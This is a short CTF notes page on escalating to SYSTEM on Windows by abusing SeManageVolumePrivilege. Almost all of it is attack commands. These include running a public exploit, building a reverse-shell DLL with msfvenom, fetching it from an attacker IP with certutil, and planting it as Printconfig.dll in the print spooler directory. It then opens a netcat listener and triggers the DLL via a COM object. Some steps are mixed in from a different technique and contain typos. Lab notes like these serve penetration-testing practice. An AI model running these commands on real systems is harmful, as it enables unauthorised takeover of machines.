> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/windows-priv/token-abuse/semanagevolumeprivilege.md).

# SeManageVolumePrivilege

Get full control over C:\ when the user has SeManageVolumePrivilege (allowing to read/write any files).

### Local Enumeration

```bash
CMD> whoami /priv 
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FhQN0u1KowmgbhAzM6EuI%2Fimage.png?alt=media&amp;token=423c5be0-1d4d-4902-943a-c1c23f7ecb87" alt=""><figcaption></figcaption></figure>

### Exploiting SeManageVolumePrivilege

#### 1. Download the exploit - <https://github.com/CsEnox/SeManageVolumeExploit/releases>

#### 2. Printconfig.dll to trigger the exploit to gain SYSTEM privilege - <https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt>

#### 3. Execution&#x20;

{% code overflow="wrap" %}

```bash
# Run SeManageVolumeExploit 
CMD> SeManageVolumeExploit.exe
CMD> icalcs C:\Windows          # Check you have a (F) under Windows directory

# Copy phoneinfo.dll to *C:\Windows\System32*
# Place Report.wer file and WerTrigger.exe in a same directory.
# Run WerTrigger.exe.

# Kali
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=xx LPORT=1234 -f dll -o Printconfig.dll

# Target 
certutil -urlcache -split -f http://192.168.45.183/Printconfig.dll 
copy Printconfig.dll C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll 

# Kali
nv -nlvp 1234

# Target
PS> $type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") 
PS> $object = [Activator]::CreateInstance($type)  
```

{% endcode %}